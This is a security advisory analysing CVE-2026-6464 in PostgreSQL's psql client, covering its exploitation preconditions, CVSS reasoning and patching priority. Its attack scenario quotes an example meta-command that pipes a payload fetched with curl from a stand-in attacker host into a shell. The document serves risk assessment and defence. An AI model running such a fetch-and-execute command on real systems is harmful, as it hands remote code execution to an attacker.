PostgreSQL psql CVE-2026-6464

Exploitation requires two simultaneously attacker-controlled elements: first, the ability to control or compromise the target PostgreSQL server sufficiently to cause a COPY FROM STDIN or \copy FROM STDIN operation to fail with a premature protocol error - before the server sends the CopyInResponse message that signals readiness for data rows; and second, control over the actual data rows supplied to that COPY command, which must contain embedded psql meta-commands. COPY FROM with a filename argument is explicitly excluded from the vulnerable code path. The less reliable alternative path requires an attacker who controls only the data rows to exploit a coincidental, uncontrolled server error - this is non-deterministic and cannot be reliably forced. Exploitation is therefore bounded to scenarios where psql connects to servers not fully trusted or under the client operator's exclusive control, and where COPY FROM STDIN is used with data sourced from an attacker-reachable input.

The 8.1 CVSS score accurately captures worst-case impact but the AC:H rating is the critical moderating factor - reliable exploitation demands an attacker simultaneously control both the PostgreSQL server (to inject a premature protocol error) and the data rows supplied to the COPY command (to embed malicious meta-commands), a compound precondition that substantially limits opportunistic exploitation. Even a mid-sized municipal IT team in opole should treat this as a priority patch given PostgreSQL's ubiquity, but the absence of any CISA KEV listing, missing EPSS data, and no confirmed public exploit code all indicate this is not presently being mass-exploited. The secondary attack path - where an attacker controlling only data rows relies on a coincidental, uncontrolled error to trigger the vulnerable code path - is non-deterministic and not reliably weaponizable. For organizations running automated psql pipelines that ingest data from semi-trusted sources against servers they do not fully control, the realistic risk is meaningfully higher than for fully air-gapped deployments. Overall risk posture: patch in the next maintenance window; not an emergency out-of-band response unless psql is used in automated, externally-fed pipelines.

An attacker who has compromised or operates a malicious PostgreSQL server crafts the server's response to a COPY FROM STDIN command so that a protocol error is returned before the server signals readiness to accept data rows; the attacker has also arranged for the data stream to contain embedded psql meta-commands such as \! /bin/bash -c 'curl attacker.com/payload | sh'. When the psql client receives the premature error, it falls through to command-processing mode and executes the injected meta-commands with the OS privileges of the psql process. No public proof-of-concept exploit code has been identified at time of analysis.